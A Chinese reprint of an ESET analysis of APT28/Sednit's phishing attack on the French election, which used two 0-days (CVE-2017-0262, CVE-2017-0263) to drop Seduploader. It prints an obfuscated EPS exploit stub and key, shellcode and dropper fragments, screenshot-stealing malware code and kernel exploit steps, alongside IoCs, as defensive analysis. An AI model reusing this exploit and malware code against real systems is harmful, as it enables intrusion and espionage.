安全路透社
当前位置:安全路透社 > 网络转载 > 正文

Sednit组织使用2个0day漏洞影响法国大选

简介

Sednit团队也被称为APT28,幻熊,Sofacy。是一个相当知名的网络攻击间谍组织,据信跟俄罗斯有关。2016年10月 ESET在题为《En Route with Sednit》的报告中对Sednit使用的工具以及攻击策略进行了分析。

就在上个月,沉寂了一段时间的Sednit又出现在人们视野中。这次又干扰法国大选,更准确的说是该组织对当时的总统竞选人马克龙进行了干扰。就在竞选期间一封包含Trump’s_Attack_on_SyriaEnglish.docx(特朗普攻击叙利亚英文版)附件的钓鱼邮件引起了我们的注意。

对文件分析后得知其目的就是为了释放Sednit著名的侦查工具Seduploader。为了达成目的,Sednit使用了2个0day:其一为Microsoft Word中的远程代码执行漏洞(CVE-2017-0262),其二为Windows下的本地特权提升漏洞(CVE-2017-0263)。ESET已经向微软报告了这两个漏洞,其在9号发布了补丁进行修复。

从Word exploit到释放Seduploader

以下图表显示本次攻击与Sednit惯用的手法如出一辙:使用鱼叉式网络钓鱼,在邮件中包含的恶意附件用以安装第一阶段payload

image

在这次攻击中,钓鱼邮件则与特朗普针对叙利亚的攻击有关

image

受感染的附件是一封由加州本地新闻发布的题为《特朗普攻击叙利亚:为何是错误的多个原因》的文章。

image

分析到此攻击变得有趣了,诱导文件包含2个exploit用以安装Seduploader,参考如下图解:

image

将本次攻击所使用的2个exploit加入到Sednit近2年使用的0day漏洞列表中:

image

打开这份诱导文件会立即触发CVE-2017-0262(Microsoft Office的EPS过滤器中的漏洞),在本例中.docx中的恶意EPS文件被命名为image1.eps:

$ file Trump\'s_Attack_on_Syria_English.docx
Trump's_Attack_on_Syria_English.docx: Zip archive data, at least v2.0 to extrac2
$ unzip Trump\'s_Attack_on_Syria_English.docx
Archive: Trump’s_Attack_on_Syria_English.docx
 inflating: [Content_Types].xml
 inflating: docProps/app.xml
 inflating: docProps/core.xml
 inflating: word/document.xml
 inflating: word/fontTable.xml
 inflating: word/settings.xml
 inflating: word/styles.xml
 inflating: word/webSettings.xml
 inflating: word/media/image1.eps
 inflating: word/theme/theme1.xml
 inflating: word/_rels/document.xml.rels
 inflating: _rels/.rels
$ file word/media/image1.eps
word/media/image1.eps: PostScript document text conforming DSC level 3.0

该EPS利用文件进行了简单的XOR混淆,EPS为XOR变量提供了函数以及评估源[evaluate source (exec)]。这里使用的密钥是十六进制编码字符串0xc45d6491,在解密时调用exec

$ cat word/media/image1.eps
%!PS-Adobe-3.0
%%BoundingBox:   36   36 576 756
%%Page: 1 1
/A3{ token pop exch pop } def /A2 <c45d6491> def /A4{ /A1 exch def 0 1 A1 length 1 sub { /A5 exch def A1 A5 2 copy get A2 A5 4 mod get xor put } for A1 } def <bf7d4bd9[...]b97d44b1> A4 A3 exec quit

经过解密后发现该利用与2015年FireEye描述的攻击利用十分相似。当时利用的漏洞为CVE-2015-2545,二者最主要的区别已标注如下,使用forall指令导致内存泄漏:

[...]
500 {
    A31 589567 string copy pop
} repeat
1 array 226545696 forall
/A19 exch def
[...]

获取代码执行后,它就会加载一个用于检索未经记录的Windows API(NtAllocateVirtualMemory, NtFreeVirtualMemory and ZwProtectVirtualMemory)的shellcode:

[...]
 v1 = (*(__readfsdword(0x30u) + 12) + 12);
 v2 = v1->InLoadOrderModuleList.Flink;
 [...]
 for ( addr_user32 = 0; v2 != v1; v135 = v2 )
 {
   v3 = *(v2 + 48);
   v132 = *(v2 + 44);
   if ( v3 )
   {
     v4 = *v3;
     v5 = 0;
     v6 = 0;
     if ( *v3 )
     {
       do
       {
         if ( v132 && v6 >= v132 )
           break;
         if ( (v4 - 0x41) <= 0x19u )
           v4 += 0x20;
         v2 = v135;
         v7 = __ROL4__(v5, 7);
         ++v3;
         v5 = v4 ^ v7;
         v4 = *v3;
         ++v6;
       }
       while ( *v3 );
       v1 = v133;
     }
     switch ( v5 )
     {
       case kernel32:
         addr_kernel32 = *(v2 + 24);
         break;
       case ntdll:
         addr_ntdll = *(v2 + 24);
         break;
       case user32:
         addr_user32 = *(v2 + 24);
         break;
       }
     }
[...]

之后会加载Seduploader并执行。注意,这些执行都发生在以当前用户权限运行的WINWORD.EXE进程中。

Seduploader释放器

Seduploader由两个不同的组件构成:其一释放器,其二持续的有效负载(参考En Route with Sednit whitepaper中的27页)
尽管本次攻击中使用的释放器与之前相比有一定改进,但它的最终目标都是一样的:释放Seduploader Payload。新版本的释放器为集成了LPE利用(CVE-2017-2063)代码,在后文我们会详细分析该漏洞,目前我们还是继续关注Seduploader
首先,释放器中的新代码会检测进程是在windows 32位版本还是64位版本下运行。根据不同的结果,程序会选择合适的利用代码加入到内存中。

[...]
 if ( Is64Process() == 1 )
 {
     addr_exploit = exploit_64b;
     size_exploit = 0x2E00;
 }
 else
 {
     addr_exploit = exploit_32b;
     size_exploit = 0x2400;
 }
[...]

成功执行利用后,在Windows内存空间中Seduploader释放器会重新加载,之后通过UpLoader入口点地址调用CreateRemoteThread,以执行用于安装Seduploader的代码。得益于该exploit的强大,代码讲义系统权限运行。

Seduploader有效载荷

Seduploader Payload是Sednit团队使用恶意监控软件的下载器。它由两部分组成:其一根据是否加载到WINWORD.EXE进程将下载器注入到适当的进程中,其二为下载器本身。
如果Seduploader在WINWORD.EXE中运行,首先它会创建一个名为flPGdvyhPykxGvhDOAZnU的互斥锁,之后打开当前进程的一个控制。这个控制将用于内存分配以及写入有效载荷,随后通过调用CreateRemoteThread进行执行。此外如果它不在WINWORD.EXE中执行,Seduploader会使用CreateThread直接打开下载器。
该下载器包含Seduploader的一些常用功能和字符串加密算法,此外它还包含下面将提到的一些新变化。
首先用于识别DDL名称和API函数的哈希算法被替换,旧的哈希算法源自Carberp中的代码。而新的算法也并非是他们自己一步一步搞起来的:这次Sednit使用代码与PowerSniff非常类型
之后Seduploader的返回报告中会新添加一个img标签,该标签可用于提取截图:

[…]
keybd_event(VK_SNAPSHOT, 0x45u, KEYEVENTF_EXTENDEDKEY, 0u);
Sleep(1000u);
keybd_event(VK_SNAPSHOT, 0x45u, KEYEVENTF_EXTENDEDKEY|KEYEVENTF_KEYUP, 0u);
OpenClipboard(0u);
hData = GetClipboardData(CF_BITMAP);
CloseClipboard();
if ( !hData )
  return 0;
GdiplusStartupInput = (const int *)1;
v10 = 0;
v11 = 0;
v12 = 0;
GdiplusStartup(&token, &GdiplusStartupInput, 0);
if ( fGetEncoderClsid((int)L”image/jpeg”, &imageCLSID) )
{
  v4 = sub_10003C5F((int)hData, 0);
  ppstm = 0;
  CreateStreamOnHGlobal(0u, 1u, &ppstm);
  v5 = GdipSaveImageToStream(v4[1], ppstm, &imageCLSID, 0);
  if ( v5 )
    v4[2] = v5;
  (*(void (__thiscall **)(_DWORD *, signed int))*v4)(v4, 1);
  IStream_Size(ppstm, &pui);
  cb = pui.s.LowPart;
  v7 = ppstm;
  *a1 = pui.s.LowPart;
  IStream_Reset(v7);
  v1 = j_HeapAlloc(cb);
  IStream_Read(ppstm, v1, cb);
  ppstm->lpVtbl->Release(ppstm);
}
GdiplusShutdown(token);
return v1;
}

照例Sednit团队没有重新造轮子,我们在stackoverflow上找到实现截图函数类似的代码。没有使用GetForegroundWindow来检索当前用户前台窗口的控制,Sednit选择使用keybd_event来发送一个”Print screen”按键然后从剪贴板中检索图片。
图像经过Base64编码然后添加到报告中,结构如下:

标签
id= 硬盘序列号*
w= 进程列表
None 网卡信息
disk= 注册表键值**
build= 4个字节
inject 可选项*
img= 以Base64编码的截图
  • /* import win32api;print hex(win32api.GetVolumeInformation(“C:\”)[1])的结果。
  • /** HKLM\SYSTEM\CurrentControlSet\Services\Disk\Enum中的内容
  • /*当SEDUPLOADER注入到浏览器连接到互联网时触发

在这之前Sednit使用的截图功能都是在感染阶段之后通过另外建立一个调用Xtunnel的工具来实现(参见报告77页),不过在如今的Seduploader直接就在侦查阶段就开始使用了。
最后在配置方面,新增了2个函数:shell和LoadLib。shell配置可以方便攻击者直接在内存中完成任意代码执行,LoadLib通过调用rund1132.exe运行任意DLL的一个位字段。

CVE-2017-0263 – 本地特权提升

之前提到为了配置Seduploader有效负载,Seduploader释放器通过利用一个LPE漏洞CVE-2017-0263获取了系统权限。在本节我们将描述Sednit是如何利用这个漏洞。
虽然该漏洞影响Windows 7及以上版本(文尾附有完整的受影响平台列表),但该exploit却设计避免在Windows 8.1及以上版本中运行。
由于这个利用对32位和64位平台通杀,所以先会去判断进程是否在WOW64下运行。该利用会分配多条记录直到0×02010000,之后构建如下结构:

struct Payload
 {
   LONG PTEAddress;               // Points to the PTE entry containing the physical address of the page containing our structure. Only used for windows 8+
   LONG pid;                      // Injected process pid;
   LONG offset_of_lpszMenuName;   // Offset of the lpszMenuName in the win32k!tagCLS structure
   LONG offset_of_tagTHREADINFO;  // Offset of the pti field in the win32k!tagWND structure.
   LONG offset_of_tagPROCESSINFO; // Offset of the ppi field in the win32k!tagTHREADINFO structure.
   LONG offset_of_TOKEN;          // Offset of the Token field in the nt!_EPROCESS structure.
   LONG tagCLS[0x100];            // Array containing the tagCLS of the created windows.
   LONG WndProcCode;              // Code of the WndProc meant to be run in kernel mode.
 };

随后检索HMValidateHandle的地址,该函数允许攻击者泄漏tagWND对象的内核地址
以下为exploit的工作流程:

image

该exploit将创建256个随机window类以及关联window。每个window将额外占用512字节,在内核空间中该内存与tagWND对象相邻。第一个window成功创建之后,即该exploit将在内存中建立一个包含了大量重复地址的假对象,如下:

image

当所有window创建完毕,该exploit还会分配2个额外的window。其中一个用于在内核线程中执行,我们将该window其命名为KernelWnd。另外一个则主要是接收完成利用所需要的所有信息,将该window命名为TargetWindow。

// …
TargetWindow = CreateWindowExW(0x80088u, MainWindowClass, 0, WS_VISIBLE, 0, 0, 1, 1, 0, 0, hModuleSelf, 0);
KernelWnd = CreateWindowExW(0, MainWindowClass, 0, 0, 0, 0, 1, 1, 0, 0, hModuleSelf, 0);
// …
SetWindowLongW(KernelWnd, GWL_WNDPROC, (LONG)Payload_0->WndProc);

在win32k组件行为增加一些上下文,每次通过CreateWindowExW创建新window时,驱动在内核中都会分配一个新的tagWND对象。

kd> dt tagWND
 win32k!tagWND
   +0x000 head             : _THRDESKHEAD
   +0x028 state            : Uint4B
   // ...
   +0x028 bServerSideWindowProc : Pos 18, 1 Bit
   // ...
   +0x042 fnid             : Uint2B
   +0x048 spwndNext        : Ptr64 tagWND
   +0x050 spwndPrev        : Ptr64 tagWND
   +0x058 spwndParent      : Ptr64 tagWND
   +0x060 spwndChild       : Ptr64 tagWND
   +0x068 spwndOwner       : Ptr64 tagWND
   +0x070 rcWindow         : tagRECT
   +0x080 rcClient         : tagRECT
   +0x090 lpfnWndProc      : Ptr64     int64
   +0x098 pcls             : Ptr64 tagCLS
   // ...

如你所见,tagWND->lpfnWindowProc包含了与该window相关联的进程地址。为了在用户上下文中执行该进程,驱动通常会选择降权。该行为由tagWND->bServerSideProc之间的某个比特完成,如果设置有该比特,进程将进行权限提升。该exploit的运行原理就是通过调整tagWND->bServerSideProc直接的比特,攻击者必须通过各种方法寻找这个比特
在破坏菜单的过程中,之前设置的钩子将检测对象的类是否为如下所示的SysShadow。如果符合,它将取代关联进程

    GetClassNameW(tagCWPSTRUCT->hwnd, &ClassName, 20);
 if ( !wcscmp(&ClassName, STR_SysShadow) )
 {
   if ( ++MenuIndex == 3 )
   {
     // tagWND
     ::wParam = *(_DWORD *)(FN_LeakHandle((int)hWnd[0]) + sizeof_tagWND_0);
     // Replace the WndProc of the object
     SetWindowLongW(tagCWPSTRUCT->hwnd, GWL_WNDPROC, (LONG)FN_TriggerExploit);
   }

在该进程中,我们可发现exploit在检索WM_NCDESTROY消息。如果条件满足,它会构建一个如下伪代码描述的恶意tagPOPUPMENU对象:

if ( Msg == WM_NCDESTROY )
 {
   struct tagPOPUPMENU *pm = BuildFakeObject();
   SetClassLongW(..., pm);
 }

用于构建该对象的地址位于首个tagWND末尾。为了调整KernelWnd对象的bServerSideProc比特,之后exploit调用NtUserMNDragLeave。为了做到这一点,函数会使用tagTHREADINFO结构检索tagMENUSTATE对象。tagMENUSTATE对象包含将被破坏的菜单对象地址(tagMENUSTATE->pGlobalPopupMenu)

image

tagPOPUPMENU是我们在调用NtUserMNDragLeave前在用户空间中构造的恶意对象。查看tagPOPUPMENU中的字段就能看到所有断点,此外有一条记录指向了我们的KernelWnd对象。

image

至此,执行到MNFreePopup函数会指向一个tagPOPUPMENU对象。最终该函数会调用HMAssignmentUnlock将字段spwndNextPopup和spwndPrevPopup作为参数传递:

; win32k!HMAssignmentUnlock
 sub     rsp,28h
 mov     rdx,qword ptr [rcx]
 and     qword ptr [rcx],0
 test    rdx,rdx
 je      win32k!HMAssignmentUnlock+0x4f (fffff960`00119adf)
 add     dword ptr [rdx+8],0FFFFFFFFh ; Flipping bServerSideProc
 jne     win32k!HMAssignmentUnlock+0x4f (fffff960`00119adf)
 movzx   eax,word ptr [rdx]

在执行完这个系统调用之后,tagWND结构会与KernelWnd进行关联,如下:

image

一切设置完毕,现在只需发送正确的信息即可触发:

syscall(NtUserMNDragLeave, 0, 0);
 // Send a message to the procedure in order to trigger its execution in kernel mode.
 KernelCallbackResult = SendMessageW(KernelWnd, 0x9F9Fu, ::wParam, 0);
 Status.Triggered = KernelCallbackResult == 0x9F9F;
 if ( KernelCallbackResult != 0x9F9F )
   // Error, try again.
   PostMessageW(TargetWindow, 0xABCDu, 0, 0);

最后,在盗取了SYSTEM令牌以及将其添加到调用进程的前提该window进程的权限得到提升。成功运行该exploit之后,FLTLDR.EXE应该会以系统权限运行,然后安装Seduploader有效负载。

总结

长久以来Sednit并没有停止其间谍活动,依旧使用其老套路:利用已知的攻击方法,重复造轮子,故意犯一些拼写错误进行迷惑。值得注意的是他们使用的工具每次都在更新!

受CVE-2017-0262和CVE-2017-0263影响的系统版本(微软发布)

CVE-2017-0262

  • Microsoft Office 2010 Service Pack 2 (32-bit editions)
  • Microsoft Office 2010 Service Pack 2 (64-bit editions)
  • Microsoft Office 2013 Service Pack 1 (32-bit editions)
  • Microsoft Office 2013 Service Pack 1 (64-bit editions)
  • Microsoft Office 2013 RT Service Pack 1
  • Microsoft Office 2016 (32-bit edition)
  • Microsoft Office 2016 (64-bit edition)

CVE-2017-0263

  • Windows 7 for 32-bit Systems Service Pack 1
  • Windows 7 for x64-based Systems Service Pack 1
  • Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
  • Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1
  • Windows Server 2008 R2 for x64-based Systems Service Pack 1
  • Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
  • Windows Server 2012
  • Windows Server 2012 (Server Core installation)
  • Windows 8.1 for 32-bit systems
  • Windows 8.1 for x64-based systems
  • Windows Server 2012 R2
  • Windows RT 8.1
  • Windows Server 2012 R2 (Server Core installation)
  • Windows 10 for 32-bit Systems
  • Windows 10 for x64-based Systems
  • Windows 10 Version 1511 for x64-based Systems
  • Windows 10 Version 1511 for 32-bit Systems
  • Windows Server 2016
  • Windows 10 Version 1607 for 32-bit Systems
  • Windows 10 Version 1607 for x64-based Systems
  • Windows Server 2016 (Server Core installation)
  • Windows 10 Version 1703 for 32-bit Systems
  • Windows 10 Version 1703 for x64-based Systems
  • Windows Server 2008 for Itanium-Based Systems Service Pack 2
  • Windows Server 2008 for 32-bit Systems Service Pack 2
  • Windows Server 2008 for x64-based Systems Service Pack 2<
  • Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

IoCs

也可查看ESET’s Github

SHA-1 Filename ESET detection name
d5235d136cfcadbef431eea7253d80bde414db9d Trump’s_Attack_on_Syria_English.docx Win32/Exploit.Agent.NWZ
18b7dd3917231d7bae93c11f915e9702aa5d1bbb image1.eps Win32/Exploit.Agent.NWZ
6a90e0b5ec9970a9f443a7d52eee4c16f17fcc70 joiner.dll Win32/Exploit.Agent.NWV
e338d49c270baf64363879e5eecb8fa6bdde8ad9 apisecconnect.dll Win32/Sednit.BG
d072d9f81390c14ffc5f3b7ae066ba3999f80fee none Win32/Exploit.Agent.NWV

Mutex

flPGdvyhPykxGvhDOAZnU

注册表

HKCU\Software\Microsoft\Office test\Special\Perf

*参考来源:welivesecurity,freebuf小编鸢尾编译,转载请注明来自FreeBuf.com

未经允许不得转载:安全路透社 » Sednit组织使用2个0day漏洞影响法国大选

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册